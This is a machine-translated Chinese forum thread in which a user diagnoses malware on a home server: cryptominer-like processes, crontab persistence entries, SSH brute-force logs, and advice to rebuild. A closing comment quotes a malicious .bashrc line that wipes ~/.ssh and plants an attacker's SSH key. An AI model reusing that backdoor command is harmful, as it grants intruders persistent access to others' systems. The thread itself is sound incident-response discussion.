最近，我注意到我的家庭服务器变得非常缓慢。所有资源都被两个过程消耗掉了：crond64和tsm。即使我一再杀了他们，他们仍然不断出现。
同时，我的ISP通知我有关我的IP地址引起的滥用：
==================== Excerpt from log for 178.22.105.xxx====================
Note: Local timezone is +0100 (CET)
Jan 28 20:55:44 shared06 sshd[26722]: Invalid user admin from 178.22.105.xxx
Jan 28 20:55:44 shared06 sshd[26722]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 20:55:45 shared06 sshd[26722]: Failed password for invalid user admin from 178.22.105.xxx port 33532 ssh2
Jan 28 20:55:46 shared06 sshd[26722]: Received disconnect from 178.22.105.xxx port 33532:11: Bye Bye [preauth]
Jan 28 20:55:46 shared06 sshd[26722]: Disconnected from 178.22.105.xxx port 33532 [preauth]
Jan 28 21:12:05 shared06 sshd[30920]: Invalid user odm from 178.22.105.xxx
Jan 28 21:12:05 shared06 sshd[30920]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.22.105.xxx
Jan 28 21:12:07 shared06 sshd[30920]: Failed password for invalid user odm from 178.22.105.xxx port 45114 ssh2
Jan 28 21:12:07 shared06 sshd[30920]: Received disconnect from 178.22.105.xxx port 45114:11: Bye Bye [preauth]
Jan 28 21:12:07 shared06 sshd[30920]: Disconnected from 178.22.105.xxx port 45114 [preauth]
我被放倒的这个网站，我可能有病毒。我运行Sophos AV扫描我的整个硬盘驱动器，实际上它在Windows XP中发现了某些病毒/tmp/.mountfs/.rsync。所以我删除了整个文件夹，并以为是这样。但是后来又回来了。然后，我检查了用户cron文件/var/spool/cron/crontabs/kodi（该病毒正在使用我的媒体服务器kodi的用户运行），如下所示：
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (cron.d installed on Sun Feb 3 21:52:03 2019)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* */12 * * * /home/kodi/.ttp/a/upd>/dev/null 2>&1
@reboot /home/kodi/.ttp/a/upd>/dev/null 2>&1
5 8 * * 0 /home/kodi/.ttp/b/sync>/dev/null 2>&1
@reboot /home/kodi/.ttp/b/sync>/dev/null 2>&1
#5 1 * * * /tmp/.mountfs/.rsync/c/aptitude>/dev/null 2>&1
病毒似乎每隔一段时间就会从另一个目录重新激活一次。该目录的内容是：
>>> ls /home/kodi/.ttp/*
/home/kodi/.ttp/cron.d /home/kodi/.ttp/dir2.dir
/home/kodi/.ttp/a:
a bash.pid config.txt crond32 crond64 cronda crondb dir.dir pools.txt run stop upd
/home/kodi/.ttp/b:
a dir.dir rsync run stop sync
/home/kodi/.ttp/c:
aptitude dir.dir go ip lib n p run slow start stop tsm tsm32 tsm64 v watchdog
我删除了所有这些文件和crontab中的条目，并希望以此解决问题。但是，我会对这是什么病毒，如何捕获它（它可能与Kodi连接）以及如何防止它感兴趣感兴趣。幸运的是，它仅从具有有限权限的用户运行，但是仍然很烦人。
编辑
尽管我看似删除了该病毒的所有剩余部分（我也删除了整个tmp文件夹），但该病毒仍在继续传播。我意识到在中有一个条目~/.ssh/authorized_hosts，我绝对不会自己输入。这解释了该病毒如何可以重复地重新种植。我删除了该条目，禁用了该用户的登录名，禁用了密码登录名（仅密码），现在使用了非标准端口。
我还注意到服务器上反复使用随机用户名登录尝试，可能是某种类型的机器人（该日志看起来与ISP发送给我的IP发来的日志非常相似）。我想这就是我的计算机最初被感染的方式。
4
请记住，如果您已经被黑客入侵一次，那么磁盘上的其他地方很可能被感染或破坏。您可能应该删除系统并重新构建它。病毒很少会只影响一个应用程序，并且通常会散布在整个磁盘上。
—
托马斯·沃德
我同意！如果有人进入您的系统，请擦除系统并还原系统备份
—
Rinzwind，
当然，这将是保存的解决方案。但是我只是重新安装了这个系统，并且不想在不了解发生了什么的情况下重新安装它。通过复制文件，这可能只是重新开始，而我却浪费了时间。
—
erik
您的系统可能已遭到破坏，因此病毒如何不断受到感染。我会核对系统并从新开始。
—
托马斯·沃德
我还发现感染了用户的.bashrc文件：
—
letsjump
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB... ...VKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys && cd ~。我只是做了一个cp /etc/skel/.bashrc /home/mycompromiseduser/删除。